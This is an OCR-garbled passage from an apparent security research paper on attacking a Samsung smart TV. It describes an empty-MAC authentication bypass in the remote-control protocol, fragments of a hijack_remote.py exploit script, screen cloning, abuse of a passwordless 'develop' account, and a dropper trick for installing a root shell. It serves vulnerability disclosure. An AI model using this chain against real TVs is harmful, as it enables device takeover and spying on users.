Flags: ...AP... =il| aove
Window: 4323 (scale factor Ox2) = 17 ||ooac B
Checksum: 0xF63D, Good | SLESY E
UrgentPointer: 0 (Ox0) 0028
TCPPayload: SourcePort = 54012, Dest||00B6 B
] |3 e o 5 Hemeta..s\ |

Figure 29: Remote controller authentication packet.
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¢ SendBrowserCommand

* SendMBRIRKey

¢ SetAntennaMode
¢ SetMainTVChannel
¢ SetMainTVSource

¢ SetRecordDuration

¢ StartCloneView

e StartInstantRecording

* StopBrowser
e StopRecord
e StopView

Figure 30: Remote controller authentication packet bytes.

REMOTE CONTROL PROTOCOL

In addition to SOAP services, the TV provides a remote control
service on port 55000. The details of the protocol are
undocumented. Figure 28 shows some of the packets using this
protocol. The protocol enables the client to send remote
controller keys over the network, which means that you can
emulate remote controller key presses from your application on
a PC or smart phone.

Design weakness

There is a design weakness in the authentication process.
Figure 29 shows an authentication packet from the client. The
client is sending a message with a proprietary packet format.
Figure 30 shows the hex representation of the payload bytes for
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Field Data Format | Description
Unknown | 00 Unknown | Unknown
Length 14 00 Short Length of the following string
String 69 70 68 6F 6E 65 2E 2E 69 61 70 70 2E 73 61 6D 73 75 6E 67 | String iphone..iapp.samsung
Payload |40 00 Short 0x40 bytes of payload
length
Unknown | 64 00 Unknown | Unknown
Length 10 00 Short Length of the following string
String 4D 54 6B 79 4C 6A 45 32 4F 43 34 78 4C 6A 45 35 Base64 Encoded: MTkyLjE20C4xLjES
Sng | pecoded: 192.168.1.19
Length 18 00 Short Length of the following string
String 4D 54 41 74 4D 4549 74 51 54 6B 74 4E 54 63 74 4D 54 49 74 | Base4 Encoded:
4E 44 67 3D string MTAtMEItQTKtNTctMTItNDg=
Decoded: 10-0B-A9-57-12-48
Length 10 00 Short Length of the following string
String 51314A 4257 6C 6C 44 5430394C 5355553D Base64 Encoded: QIJBWIIDTO9LSUU=
Sting | pecoded: CRAZYCOOKIE

Table 6: Remote controller authentication packet bytes.

authentication. Even though the format is not documented, it is
fairly simple to reverse engineer.

Table 6 shows the parsed hex bytes from the original packet —
basically, the client sends the IP address, MAC address and
hostname to the server.

When the TV receives this packet, it displays a dialog box
similar to the one shown in Figure 31. If the user allows the
connection, then the client is able to send remote controller keys
over the network.

Device Name: CRAZYCOOK!E A

Detected a n

ew devi
to allow it to device. Do yoy want

access this product?

You can chan

e |,
Network > Allgh ater b
Content Sharing

Y selectin
are Settings > ’

Figure 31: Dialog on the TV.

The design issue is very obvious here. The information that the
client uses for authentication is the client’s IP address, MAC
address and hostname. All of this information can easily be
retrieved on the local network. The IP address and MAC
address are constantly being broadcasted through ARP
packets, and hostnames are sent out through Windows name
service packets. You do need to figure out which machine is
allowed access to the TV remote controller service first, or you
can try all the machines on the network to brute-force
authentication. At best, this authentication design is pretty
weak.

Vulnerability in implementation

In addition to a fundamental design flaw for remote controller
authentication, there is also an implementation flaw. According
to my tests, the hostname and IP address are not even used for
authentication. The attacker only needs to guess the MAC
address, which is constantly broadcast over the local network.

Offset (h) 00
oooooooo 01
oooooo01d 73
[lulululuful=Ru yuln}

01 0z 03 04 05 06 07 03 02 0 OB OC OD OE OF

14 00 62 70 A8 6F 6E 65 ZE ZE 69 6l 7O 70 ZE
61 60 73 75 6E 67 03 00 &4 00 00 00 d0 00 00

...iphone..iapp.
SRMESUNG. A ...

Figure 32: Remote controller — all authentication packet bytes.

def auth(self,ip

tt L hostname=""  mac=""):
Bt

encoded ip=b

ct.p
ded_ip
*H*,leniencoded_m
)

\
"H',len{encoded_hostname))

encoded_|
auth_head
auth_str
self.sock.send({auth_str)

data sel
pprint. ppr

Figure 33: Authentication packet sending routine

(hijack_remote.py).
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Field Data Format  Description
Unknown | 00 Unknown | Unknown
Length 14 00 Short Length of the following string
String 69 70 68 6F 6E 65 2E 2E 69 61 70 70 2E 73 61 6D 73 75 6E 67 | String Ascii: iphone..iapp.samsung
Payload |08 00 String 0x08 bytes of payload
length
Unknown | 64 00 Unknown | Unknown
Length 00 00 Short Length of the following string
String Base64 Empty

string
Length 00 00 Short Length of the following string
String Base64 Empty

string
Length 00 00 Short Length of the following string
String Base64 Empty

string

Table 7: Remote controller — all authentication packet bytes.

But there is one more issue: if you send an empty string as a
MAC address, the server always allows the connection if any
client was previously allowed for the service.

Figure 32 shows the hex bytes of the payload that was used for
authentication bypass. Table 7 shows the parsed hex bytes, and
you can see that the length fields for IP address, MAC address

and hostname are all 0 and the strings are empty.

Figure 33 shows the code that sends this authentication packet.
From line 18, if you pass an empty string for IP, hostname and
MAC address, the authentication is bypassed.

Sending keys

Now that you can authenticate as a valid SmartView client, you
need to figure out how to send remote controller keys. For
example, Figure 34 shows a packet that is sending a key. The
payload is ‘SOVZX1ZPTFVQ’, which is a base64-encoded
string of ‘KEY_VOLUP’. This key is used for the volume up
function.

Figure 35 shows the main code that sends remote controller
keys. The keys are in the form of strings, and various keys can
be retrieved from a packet dump of the SmartView sessions.

Exploiting

Now that we can send any remote controller keys, we want to
find out if anyone has previously used the SmartView feature
and allowed at least one client.

For example, ‘HOME-PC’ is a legitimate user PC. If a user
wants to use the SmartView feature, they authenticate the PC
from the TV screen by allowing the device named ‘HOME-PC’
(see Figure 36).

When a SmartView client is allowed, an access control list is
added to the ‘Content Sharing’” menu (see Figure 37).

Now the attacker wants to take control and uses the SmartView
client from a machine that is connected to the local network.
Let’s assume that they have already gained control of one of the

Fra...  Time Date Local Adjusted  Time Offset  Process Mame Source

24 11:23:15 AM 5/25/2014  3.6147807  SmartView.App.exe  192.168.1.19
25 11:23:15 AM5[25/2014  3.6164590  SmartView.App.exe  192.168.1.19
26 11:23:15 AM §/25/2014 36181050  SmartView.Appexe 192,165.1.9
30 11:23:15 AM 5/25/2014  4.3801881  SmartView.App.exe 192.168.1.9
31 15 AM 5/25/2014  4.3820161  SmartView.App.exe  192.168.1.19
3z 15 AM5/25/2014  4.3832965  SmartView.App.exe  192,165.1.9
34 15 AM 5/25(2014  4.4070723  SmartView.App.exe 192,165.1.9
36 16 AM5/25/2014  4.6075203  SmartView.App.exe  192.168.1.9
37 11:23:16 AM §/25/2014 46075391 Smart¥iew.App.exe  192,168.1.1
77 11:23:23 AM §/25/2014  12.2467149 Smart¥iew.App.exe 192,168,119

76 11:23:23 AM 5/25/2014  12,2927015 SmartView.App.exe  192.168.1.9

“a 11.9209% AMEIEIFN1A 17 2097600 CraseFliom finm ave 107 162 1 10

Destination

192.168.1.9
192.168.1.9
192,168.1.19
192.163.1.19
192.168.1.9
192.168.1.19
192,168.1.19
192.168.1.19
192.168.1.9
192.168.1.9
192.168.1.19

10716210

Pro...

TP
TP
TP
TP
TCP
TP
TP
TP
TP
TP
TP

Tro

Description

AP..., SrcPort=54012, DstPort=55000, Payloadlen=27, Si
A, SrcPort=55000, DstPort=54012, PayloadLen=0, Seq=:
AP..., SrcPort=55000, DstPort=54012, PayloadLen=226, Sec
AP..., SrcPort=54012, DstPort=55000, Payloadlen=89, Seq=

111y SPCPOPE=55000, DstPort=54012, Payloadlen=0, Seq=:
AP
TCP:[ReTransmit #34]Flags=...AP. .., SrcPort=55000, DstPort=54012, Pay
TCPiFlags=...A...., SrcPort=54012, DstPort=55000, PayloadLen=0, Seq=}

+vovy SrcPort=55000, DstPort=54012, Payloadlen=0, Segq=3 _

CvrDewhb—EANM17 NeFDArk—EENAN Daulnadl an—161 Sar

< | .

| b

Frame Details X | |Hex Details x
DstPore: 55000 * || 424 Decade s Prot OFf: 0 (0x00) Frame Off: 155 (13B) Sel Bytes: 12
Secquenceludier: 3153586229 (OxBEFT7EE .
Aeknowledgementumber: 3133653433 (C 0038 AL 00 08 00 45 00 00 SE SE 91 *32.... oo E. N r 1
0045 40 OF CO A8 01 13 CO A8 01 09 B. .. A" ..h ..
Datacffset: 80 (0x50) 0054 D2 F7 E8 35 BA €7 C1 B9 50 18 OUOG@»:e5°QAitp.
Flags: ...AP... l{oosz 10 00 00 1D 00 69 70 68 6F 6E .BO ..... iphon
Window: 4318 (scale factor OxZ) = 17 ||oo70 65 35 46 36 33 30 30 2E 69 F1 e.UNS5F6300.1ia
Checksum: 0xD684, Good E||00?E 70 6D 73 75 6E 67 11 00 00 00 pp ng E
UrgentPointer: 0O (0x0) oosc 00 56 S A 3 B 6 3 -
TCPPayload: SourcePort = 54012, Dest— U L E =

4 | 1 | +

‘ _J Frame Eummenls| 5] Hex Details |

Figure 34: Remote controller packets.
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encoded_str

H,le

key body

/

/ 1 \ remote ote (HOST, FORT )
Device Name: HOME-PC | = 110t - » remcte.

| Detected a new device. Do jant 1 2]
‘ 10 allow 10 acues this prodhect? remote.: iosthname,mac)

remote. k _EMTER')

| — Figure 39: Enter key sending code (hijack_remote.py).

machines on the local network and are trying to get into the TV
to perform additional attacks. When they try to authenticate the
machine under their control, a pop-up dialog appears (Figure
38).

One click of the enter key is needed for this connection to be
allowed. The attacker can use the remote controller exploit here.
Figure 39 shows the code from the hijack_remote.py script that
bypasses authentication and sends KEY_ENTER to the TV.

The hijack_remote.py script is run as shown in Figure 40. The
first argument is the TV’s IP address and the second is the MAC
address. If you know the MAC address of any device that has
already been authenticated, you can put that here. However, if
you put an empty string here, it tries to exploit the empty MAC
bypass issue.

ciypython2/\python hijack_remote.py 192.168.1.9 *"

Figure 40: Running hijack_remote.py.

When the exploit is successful, the attacker is registered as an
allowed ‘Content Sharing’ client (see Figure 41).

Content Sharing

192.168.1.22
192.1681.19

Detected a new device. Do you want
to allow it to access this product?

‘You can change later by selecting
Network > AllShare Settings >
Content Sharing.

Figure 38: Attacker tries to authenticate. Figure 41: Content sharing access control list.

307



308

SMART HOME APPLIANCE SECURITY AND MALWARE

{

ey SmartView - [Samsung LEDSS]

Figure 42: SmartView PC application with View.

POST /smp_4_ HTTP/1.0

HOST: 192.168.1.9:7676

CONTENT-LENGTH: 301

CONTENT-TYPE: text/xml;charset="utf-8"

USER-AGENT: DLNADOC/1.50 SEC_HHP_CRAZYCOOKIE/1.0
SOAPACTION: "urn:samsung.com:service:MainTvAgent2:1l#5tartCloneview”

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingstyle="http://schemas. xml soap.0r‘g/soap/er‘|c0d'ing/"><s:Bod%&
xmlns:u="urn:samsung. com:service:MainTvagent2:1 =<ForcedF lag=Normal<
ype>PrivateTZ<,/DRMType></u:5tartCloneviews</s :Body></s :Envelope>

<u:startCloneview
/ForcedFlag=<DRMT

Figure 43: Screen cloning request.

HTTP/1.1 200 OK

content-Length: 386

Content-Type: text/xml; charset="utf-8"
DATE: Thu, 01 Jan 1970 01:01:09 GMT
EXT:

SERVER: UPNP/1.0

connection: close

s:encodingstyle="http://schemas. xm
<5 :Body>
<u:startCloneviewRasponse

<CTloneviewuRL>http:
=</5:Bod
</s:Envelopes>

<?xml version="1.0" encoding="utf-8"7><s:Envelope
xmlns:s="http://schemas.xmlsoap. or?/soap/enve'l ope/"
soap.org/soap/encoding/ ">

xmlns :u="urn:samsung. com:service:MmainTvagent2:1"><Result>0K</Result>
9/192. 168.1.9:9090,/Tivestream,/1</CloneviewURL></u:5tartCloneviewrResponse=>

Figure 44: Screen cloning response.

INSTALLING A BACKDOOR

Now we have a way to send any remote controller key to the
TV. You might think that this glitch isn’t all that useful for
attackers — but imagination is the only limit here. One attack
scenario we can think of is to change DNS settings in the
network settings, or possibly to reroute all traffic to the
attacker’s server. Another possibility might be to install malware
on the TV. From here, we will demonstrate a way in which
malware can be installed on the TV remotely using a remote
controller flaw.

Clone view

The PC version of the SmartView application supports a

remote view function in addition to the remote controller
function (Figure 42). This feature is really useful when
attacking because the attacker can see the TV screen remotely.
This could reveal the contents of any app being used, such as
social apps, or browser and messenger tools like Skype. This
means that the user’s privacy, while using the TV, will be
compromised.

This clone view feature is actually implemented through a
SOAP message and livestream application. The SmartView
client sends a SOAP message to the smp_4_ application using
the StartCloneView method (Figure 43). If the client has already
been authenticated through the remote controller service, the
server starts view cloning and replies with a message that
contains a URL for streaming (see Figure 44).
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Figure 46: Livestream response.

Smart Features.

STB/DirecTV. = COMPONENT

Figure 47: Log into Samsung account.

IS smartView - [Samsung LEDSS]

COMPONENT

Figure 48: Input ‘develop’ account in email field.

The client sends a request to the livestream server to retrieve
livestream data (Figure 45).

GET /livestream/1 HTTP/1.1
User-aAgent: Lavf52.104.0
ACccepL: */*%

Range bytes=0-
Connection: close

Host: 192.168.1.9:9090

Figure 45: Livestream request.

And the server sends out a constant stream of livestream data in
HDCP format (see Figure 46).

Developer account

There are apps for a Samsung TV that can be downloaded from
the Samsung app store. To get into the app store you need to log
in using a Samsung account (see Figure 47). There is a feature
called a developer account, which is a reserved login name
called ‘develop’, and if you login with that name, the TV is
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More Apps

COMPONENT

More Apps

-,

Enter your IP

® oones
=

o .

Figure 50: Input attackers web server

More Apps

53.1.19/Widget.zip<s

Figure 52: Sample widgetlist.xml.
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automatically switched to a developer mode (Figure

5

CvProgram Files (x86)\&pache GrouphApachedhhtdocs\Dropper.ziphdatal,

48). Creation of the developer account differs for each
model, but for this F-series TV, the account is already
created and there is no password associated with it.

Marne

B |

Packed Size Modified Created
1040830 2013-11-241%:14 2014-053-2% 00:48

Size

1040850

When you successfully switch the machine to
developer mode, you get special access to a hidden
menu. From More Apps, if you check options, it shows

Figure 54: Dropper contents.

the ‘IP Setting’ and ‘Start App Sync’ menu items which

were not shown before (see Figure 49). <list>

By selecting ‘IP Setting’ here, an attacker can input the
address of a web server that they control (see
Figure 50).

After that, the attacker can use the ‘Start App Sync’ _</widgets
feature to install their malicious app on the machine Eﬂ;;;ﬁ}

(see Figure 51).

<7xmT wersion="1.0" encoding="UTF-8" 7>
<rsp stat="ok"=

<widget id="Dropp

er's

<titlexbropper</citlex

<typesuser </ types

<compression size="103000" type="zip"/ =
<descriptions></description:>

<download=http: /192, 168.1.1%/Dropper. z9p<//download>

App sync & application security issues

Figure 55: Dropper widgetlist.xml.

When you choose to start App Sync, the More Apps ¥ ChPragram Files (x86)%5pache GrouphApachelihtdocshRemoteRoaoting.ziph,
program tries to connect to the web server on port 80 Name Size Packed Size Modified Created
running on the machine specified by the IP settings. 611 364 2014-05-28 00:48  2014-05-28 0048
When it finds a web server on that address, it retrieves a icon 106 118 08233 2014-05-28 00:48  2014-05-28 00:48
/widgetlist.xml file and parses it. A sample JawaScript 2343 2694 2014-05-28 01:03 2014-05-28 00:48
widgetlist.xml is shown in Figure 52. The download tag | = configam| 804 375 2014-05-20 07:46  2014-05-28 00:48
specifies the ZIP file that contains the TV app. € indexhtrml 937 454 2014-05-23 16:42  2014-05-28 D0:48
Simp]y reusing the Samygo F-series rooting app and L widgetinfo 35 35 2014-05-23 16:39  2014-05-28 00:4%

installing it over App Sync might install a remote shell
and FTP server, which is enough to demonstrate remote
compromise through SmartView. But, if you try to
install the rooting app through the developer account,
the app will not be installed, and a security warning
will be displayed (see Figure 53).

var

Figure 56: RemoteRooting package contents.

packagePath

Y imtd_rwcommon/common/ TempDown Load /Dropper ® ;

Figure 57: Package path with installer.

<1zt

I. For more information, visit
msungdforum.com/Support/ TVAppsSecurity,

<7xm] wersTon="1.0" encading="UTF-8"7>
<rsp stat="ok"»

<widget jd="Remoterooting"s>
<titlerremoterooting</Titlex
<typesuser</types
<compression 51ze="103000" tType="zip"/ =
<descriptionsz< descriptions
<downloadshttp: /192 165.1. 1% /Remoterooting. z1p< downTloads>

Close </widgets>
< Tistx
</ rspx
Figure 58: RemoteRooting widgetlist.xml.
Figure 53: Application security issue. Dropper hack

To investigate more, if you follow the URL given in the error
message, it describes many different reasons for the security
warning occurring. One notable fact is that if you embed a binary
file (ELF in this case), the app is not allowed to install. This is a
countermeasure to prevent the installation of any unwanted ELF
binaries on the system. The Samygo rooting app relies on
replacing a Skype shared library. Even when it is archived in a
ZIP file, it is still detected by the app installer and rejected. You
might think of encoding the file, but there is no easy way to
decode them on the fly from the TV app. The Samygo rooting app
relies on an Unzip function from the file system plug-in object, so
there is no room for decoding the contents during the process.

In order to copy an ELF binary you want to install on the
system, you need to find a glitch in the app installer’s security.
As it happens, I found one. Even when the app is rejected, the
whole contents are left in an easily guessable location under /
mtd_rwcommon/common/TempDownLoad. For example, if you
installed an app called 7est, the following folder on the TV
system would contain the entire contents:

/mtd_rwcommon/common/TempDownLoad/Test

Using this fact, we can drop an ELF binary on the system and
use it later from another app. Even though it triggers a security
violation error, we can still drop a file we want and use it from
an app we launch later.
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More Apps

Figure 59: No security issues.

More Apps

NETRLID

Contact Info : oh.jeongwook@gmail.com

Figure 60: Run RemoteRooting app.
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Figure 61: RemoteRooting result.

Figure 62: Access to the TV with root privilege.

iew : Recently Opened [# Options

© View : Recently Opened [ Options

For example, I packaged the ‘patch’ file inside a dropper app.
(Figure 54) This file is from the Samygo rooting app and it
contains multiple ELF binaries.

The widgetlist.xml file is shown in Figure 55.

The More Apps installer triggers a security warning but you can
just dismiss the message. The file we want is now dropped on
the system.

Installer

Now we need to make a new package without any ELF binaries
(Figure 56).

One thing we need to do is to change packagePath in Main.js to
the location where our dropper package is dropped (Figure 57).

The widgetlist.xml file is shown in Figure 58.

When you perform app sync, it succeeds without any warning
(Figure 59).

You can confirm that the RemoteRooting app just installed on
the TV system (Figure 60).

When you launch the app, you see a screen similar to Figure 61.
Now the Samygo package, including a remote shell and FTP, is
installed. You can confirm this by connecting to the TV via port
23. You will have root privilege on the system. (Figure 62) From
here, further attacks can be launched.

CONCLUSION

Smart devices are a new trend in the appliance industry, and
smart TVs provide a good example of what to expect from
them. The fact that they can be connected with other devices at
home, like PCs or smart phones, initially seems very
convenient. However, the way the overall architecture is
designed is a little questionable. I used the SmartView feature of
a Samsung Smart TV to showcase how weak the design of a
proprietary protocol can be. Also, the actual implementation is
so delicate that the whole authentication scheme fails when the
client supplies unexpected input. I also used a weakness in the
app installer to bypass a security error related to an embedded
ELF binary. As you have seen, it is possible to install malware
on the TV using the method I presented here.

It’s been a while now since the home appliance industry started
pushing these smart appliances. When these vendors are
creating new features and developing new technology to support
them, they might learn some valuable lessons from the past few
decades of the PC industry. Even when it doesn’t seem likely
that malware or actual attacks will happen for these smart
appliances in the foreseeable future, you never know. Better to
prepare early rather than late. If the new smart appliances don’t
gain the trust of their users, they won’t ever be used for any
critical purposes like confidential Skype calls or private social
networking. The TV already comes with Skype, browser and
social apps: If the TV can’t give users assurance of its secure
operation, users will be too ‘smart’ to use it.
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